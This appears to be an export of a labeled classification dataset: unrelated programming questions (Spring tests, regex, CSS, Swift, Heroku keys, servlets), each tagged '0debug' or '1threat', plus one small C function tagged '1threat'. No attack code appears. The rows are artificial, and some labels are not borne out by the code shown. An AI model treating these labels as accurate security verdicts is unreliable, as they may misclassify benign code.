<p>and now im confiuse how to change in the code javascript.
i hope some one can answer my question,and explain the logic.</p>
<p>thanks,</p>
| 0debug
|
@Import vs @ContextConfiguration for importing beans in unit tests : <p>I was able to set up and successfully run three different test configurations with SpringBoot 1.5.3</p>
<p>Method #1. Importing Bean with use of <code>@Import</code> annotation</p>
<pre><code>@RunWith(SpringJUnit4ClassRunner.class)
@Import({MyBean.class})
public class MyBeanTest() {
@Autowired
private MyBean myBean;
}
</code></pre>
<p>Method #2. Importing Bean with use of <code>@ContextConfiguration</code> annotation</p>
<pre><code>@RunWith(SpringJUnit4ClassRunner.class)
@ContextConfiguration(classes = {MyBean.class})
public class MyBeanTest() {
@Autowired
private MyBean myBean;
}
</code></pre>
<p>Method #3 (with internal class configuration; based on <a href="https://spring.io/blog/2011/06/21/spring-3-1-m2-testing-with-configuration-classes-and-profiles" rel="noreferrer">the official blog post</a>)</p>
<pre><code>@RunWith(SpringJUnit4ClassRunner.class)
@ContextConfiguration(loader=AnnotationConfigContextLoader.class)
public class MyBeanTest() {
@Configuration
static class ContextConfiguration {
@Bean
public MyBean myBean() {
return new MyBean();
}
}
@Autowired
private MyBean myBean;
}
</code></pre>
<p>Taking into account <code>@Import</code> annotation documentation </p>
<blockquote>
<p>Indicates one or more {@link Configuration @Configuration} classes to
import.</p>
</blockquote>
<p>and the fact that <code>MyBean</code> is not a configuration class, but a bean class annotated with <code>@Component</code> annotation it looks like Method #1 is not correct.</p>
<p>From <code>@ContextConfiguration</code> documentation</p>
<blockquote>
<p>{@code @ContextConfiguration} defines class-level metadata that is
used to determine how to load and configure an {@link
org.springframework.context.ApplicationContext ApplicationContext}
for integration tests.</p>
</blockquote>
<p>Sounds like it is better applicable to unit tests, but still, should load a kind of a configuration.</p>
<p>Methods #1 and #2 are shorter and simpler.
Method #3 looks like a correct way. </p>
<p>Am I right? Are there other criteria why I should use method #3, like performance or something else?</p>
| 0debug
|
Regular Expression to match last six digits in a string : I have a text file that contains roughly a thousand file names that I need to change slightly. Each file name is a date and time formatted like: "2013-05-01 120125.jpg"
I need to convert all of them to: "2013-05-01 12.01.25.jpg"
I'm assuming this would be fairly trivial with regular expressions, but I am always confounded when I try to do anything with them! Help is appreciated!
| 0debug
|
(HTML/CSS) Can i have fixed width columns with different number of columns per row? : So what i'm trying to do is have a grid with the following specs:
- In screens < 400px, show 1 column per row
- In screens > 400px and < 800px, show 2 columns per row
- In screens > 800px, show 4 columns per row
- In all screen sizes, each column should have a width of 25% of screen size
How would you do this?
| 0debug
|
Why is the method strikethrough? : <p>I have defined a class like this:</p>
<pre><code>internal class C {
internal func method() -> Void {
print("method called")
}
}
</code></pre>
<p>If I declare a closure from that method, the method is shown strikethrough</p>
<pre><code>let closure = C.init().meth
let closure2 = C.meth
</code></pre>
<p>The same happens if I use it in the autocasting paranthesis <code>\(...)</code></p>
<pre><code>print("\(C.init().meth)")
</code></pre>
<h3>Xcode examples:</h3>
<p><a href="https://i.stack.imgur.com/jKVzH.png" rel="noreferrer"><img src="https://i.stack.imgur.com/jKVzH.png" alt="example1"></a>
<a href="https://i.stack.imgur.com/v8BQj.png" rel="noreferrer"><img src="https://i.stack.imgur.com/v8BQj.png" alt="example2"></a>
<a href="https://i.stack.imgur.com/4PwwM.png" rel="noreferrer"><img src="https://i.stack.imgur.com/4PwwM.png" alt="enter image description here"></a></p>
| 0debug
|
Compare Two Audio(locally stored pre-recorded voice command and recorded from microphone in app) in iOS : <p>In-app, I have to compare live recording from previously locally stored voice command if it matches(not only text but also identified person's voice) then perform necessary action.</p>
<p><strong>1-match voice commands from the same person.</strong></p>
<p><strong>2-match command 's text.</strong></p>
<p>I applied many ways but none are working as per my expectation.</p>
<p><strong><em>First:</em></strong>
use Speech to text Library like <a href="http://www.politepix.com/openears/">OpenEars</a>,<a href="https://developer.nuance.com/public/index.php?task=relNotes">SpeechKit</a> but these libraries convert only text from speech.</p>
<p><strong>Result: Failed As My expectation</strong></p>
<p><strong><em>Second:(Audio Finger printing)</em></strong></p>
<p><strong><a href="https://www.acrcloud.com/">acrcloud Library</a> :</strong> in this library, I record a command and stored that mp3file on acrcloud server and match with live recording(spoken by me) it doesn't match but when I play the same recording(recorded MP3 file of my voice ) which is uploaded to the acrcloud server then it matches.
<strong>Result: Failed As My expectation</strong></p>
<p><strong><a href="https://api.ai/">API.AI</a> :</strong> in this library,it is like speech to text ,I stored some text command on his server and then anyone speaks the same command the result get success.
<strong>Result: Failed As My expectation</strong></p>
<p>Please Suggest me how to solve this problem for iOS Application</p>
| 0debug
|
SyntaxError: Unexpected token } : <p>When launching code in Heroku, I always get an unexpected token } error. Locally, it all works.
Here is the code I used. This is an example from the discord.io repo. I have installed discord.io and made sure that node and npm were the same version as what I was running on my local machine. </p>
<pre><code>var Discord = require('discord.io');
var logger = require('winston');
var auth = require('./auth.json');
// Configure logger settings
//logger.remove(logger.transports.Console);
//logger.add(logger.transports.Console, {
colorize: true
});
//logger.level = 'debug';
// Initialize Discord Bot
var bot = new Discord.Client({
token: auth.token,
autorun: true
});
bot.on('ready', function (evt) {
});
bot.on('message', function (user, userID, channelID, message, evt) {
// Our bot needs to know if it will execute a command
// It will listen for messages that will start with `!`
if (message.substring(0, 1) == '!') {
var args = message.substring(1).split(' ');
var cmd = args[0];
args = args.splice(1);
switch(cmd) {
// !ping
case 'ping':
bot.sendMessage({
to: channelID,
message: 'Pong!'
});
break;
// Just add any case commands if you want to..
}
}
});
</code></pre>
<p>Thanks for the help!</p>
| 0debug
|
Unable to set RSA private key as config var : <p>I'm trying to deploy an Express app to Heroku. The trouble I'm having is that Heroku or something along the way is screwing up the format of the RSA private key string. I have the following in my <code>.env</code> which works locally and is kept out of git:</p>
<pre><code>TYPE=
PROJECT_ID=
PRIVATE_KEY_ID=
PRIVATE_KEY="-----BEGIN PRIVATE KEY-----\n...\n-----END PRIVATE KEY-----\n"
CLIENT_EMAIL=
CLIENT_ID=
AUTH_URI=
TOKEN_URI=
AUTH_CERT_URL=
CLIENT_CERT_URL=
</code></pre>
<p>I initially used <a href="https://github.com/xavdid/heroku-config" rel="noreferrer">https://github.com/xavdid/heroku-config</a> to set the above vars instead of doing it by hand through the dashboard on Heroku, but that private key failed.</p>
<p>Then I tried setting that value manually by copy/pasting (without double quotes) through the Heroku Dashboard, still failed.</p>
<p>Finally I set the value via <code>heroku config:set</code>, but still fails to parse it when the app starts up.</p>
<p>I even tried replacing <code>\n</code> with <code>'\n'</code> as someone did <a href="https://github.com/auth0/node-jsonwebtoken/issues/191" rel="noreferrer">here</a> and using quotes with <code>heroku config:set PRIVATE_KEY=""</code>, but still doesn't work.</p>
<p>So my question is, is Heroku doing something funky with the long string value? Or am I missing something. The above values are called/used as shown below:</p>
<pre><code>const { credential } = require('firebase-admin')
exports.serviceAccount = {
type: process.env.TYPE,
project_id: process.env.PROJECT_ID,
private_key_id: process.env.PRIVATE_KEY_ID,
private_key: process.env.PRIVATE_KEY,
client_email: process.env.CLIENT_EMAIL,
client_id: process.env.CLIENT_ID,
auth_uri: process.env.AUTH_URI,
token_uri: process.env.TOKEN_URI,
auth_provider_x509_cert_url: process.env.AUTH_CERT_URL,
client_x509_cert_url: process.env.CLIENT_CERT_URL
}
exports.credential = credential.cert(exports.serviceAccount)
exports.databaseURL = process.env.DATABASE_URL
exports.adminConfig = {
credential: exports.credential,
databaseURL: exports.databaseURL
}
</code></pre>
<p>And logs from Heroku:</p>
<pre><code>2017-06-05T01:50:13.761150+00:00 app[web.1]: > NODE_ENV=production node ./server/server.prod.js
2017-06-05T01:50:14.231853+00:00 app[web.1]: /app/node_modules/firebase-admin/lib/auth/credential.js:129
2017-06-05T01:50:14.231876+00:00 app[web.1]: throw new error_1.FirebaseAppError(error_1.AppErrorCodes.INVALID_CREDENTIAL, 'Failed to parse private key: ' + error);
2017-06-05T01:50:14.231877+00:00 app[web.1]: ^
2017-06-05T01:50:14.231878+00:00 app[web.1]:
2017-06-05T01:50:14.231878+00:00 app[web.1]: Error: Failed to parse private key: Error: Invalid PEM formatted message.
2017-06-05T01:50:14.231883+00:00 app[web.1]: at FirebaseAppError.FirebaseError [as constructor] (/app/node_modules/firebase-admin/lib/utils/error.js:39:28)
2017-06-05T01:50:14.231884+00:00 app[web.1]: at new FirebaseAppError (/app/node_modules/firebase-admin/lib/utils/error.js:84:23)
2017-06-05T01:50:14.231885+00:00 app[web.1]: at new Certificate (/app/node_modules/firebase-admin/lib/auth/credential.js:129:19)
2017-06-05T01:50:14.231886+00:00 app[web.1]: at new CertCredential (/app/node_modules/firebase-admin/lib/auth/credential.js:195:33)
2017-06-05T01:50:14.231887+00:00 app[web.1]: at Object.cert (/app/node_modules/firebase-admin/lib/firebase-namespace.js:189:58)
2017-06-05T01:50:14.231887+00:00 app[web.1]: at Object.<anonymous> (/app/server/firebase/index.js:16:33)
2017-06-05T01:50:14.231888+00:00 app[web.1]: at Module._compile (module.js:569:30)
2017-06-05T01:50:14.231888+00:00 app[web.1]: at Object.Module._extensions..js (module.js:580:10)
2017-06-05T01:50:14.231889+00:00 app[web.1]: at Module.load (module.js:503:32)
2017-06-05T01:50:14.231889+00:00 app[web.1]: at tryModuleLoad (module.js:466:12)
</code></pre>
| 0debug
|
DevOps vs SRE , or the DevOps and SRE : <ul>
<li>Is it the case that SRE is just one implementation of DevOps , or maybe the best implementation of DevOps.</li>
</ul>
<p>OR</p>
<ul>
<li>SRE is more related to system engineering and production enviroments, and DevOps is a practice to automate and simplify the development teams and thier non production enviroments.</li>
</ul>
| 0debug
|
NumberFormatException error with parsing strings to doubles, from html form! (servlets) : <p>I'm having an HTTP Status 500 – Internal Server Error, to be more specific:</p>
<pre><code>Type Exception Report
Message For input string: "from"
Description The server encountered an unexpected condition that prevented it from fulfilling the request.
Exception
java.lang.NumberFormatException: For input string: "from"
sun.misc.FloatingDecimal.readJavaFormatString(FloatingDecimal.java:2043)
sun.misc.FloatingDecimal.parseDouble(FloatingDecimal.java:110)
java.lang.Double.parseDouble(Double.java:538)
java.lang.Double.valueOf(Double.java:502)
servlets.Servlet2.doGet(Servlet2.java:31)
javax.servlet.http.HttpServlet.service(HttpServlet.java:686)
javax.servlet.http.HttpServlet.service(HttpServlet.java:791)
org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)
Note The full stack trace of the root cause is available in the server logs.
</code></pre>
<p>The situation I'm trying to resolve is that I have Servlet1 that has an html form with two numeric inputs, when you sumbit them, they send to Servlet2 that takes those inputs check them through an if statement and then parse the strings to doubles. Then the value between those inputs will be the data that will appear. So, I'm getting an error for NumberFormatException, I don't get it where I'm wrong. In the snippet I'm posting I was trying to workaround the problem with the method valueOf, still same problem.</p>
<pre><code> double douFrom = 0;
double douTo = 0;
String from = request.getParameter("from");
String to = request.getParameter("to");
boolean val = true;
if ((from != null) && (to != null) && from.matches(".*[0-9]+.*") && to.matches(".*[0-9]+.*") && (from.length()>0) && (to.length()>0)) {
douFrom = Double.valueOf("from");
douTo = Double.valueOf("to");
} else {
val = false;
}
</code></pre>
<p>Thanks in advance!</p>
| 0debug
|
Does the C# compiler remove an if that encapsulates a debug.writeline : <p>I have a piece of code like this:</p>
<pre><code>if (state != "Ok")
{
Debug.WriteLine($"Error occured: {state}, {moreInfo}");
}
</code></pre>
<p>Does the compiler optimize this away if i make a release build? Or does the evaluation stay and thus costing some processing time?</p>
| 0debug
|
Console application does not automatically open properly from regedit : Basically I have a console application that opens another .exe. That console application works properly when I normally double click on it.
I added the application in regedit: Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run so that it automatically opens with Windows and that .exe is ran automatically.
I don't have an idea on how to fix this.
```cpp
#include <windows.h>
#include <shellapi.h>
#include <iostream>
using namespace std;
int main()
{
cout << "Test...\n";
Sleep(500);
cout << "Test..\n";
ShellExecuteA(NULL, "open", "Manager.exe", NULL, NULL, SW_SHOWNORMAL);
cout << "Test....\n";
Sleep(500);
return 0;
}
```
The thing is that the console opens when Windows starts up, but does not open the .exe file, just basically opens and closes. It's like bypasses the "ShellExecuteA"... line, displaying text on console and Sleep(...) works.
NOTE: Keep in mind that, as said above, it WORKS PROPERLY when I manually open this application, the "Manager.exe" opens. BUT I it doesn't work when this code is automatically opened with Windows. Any help?
| 0debug
|
bool block_job_user_paused(BlockJob *job)
{
return job ? job->user_paused : 0;
}
| 1threat
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.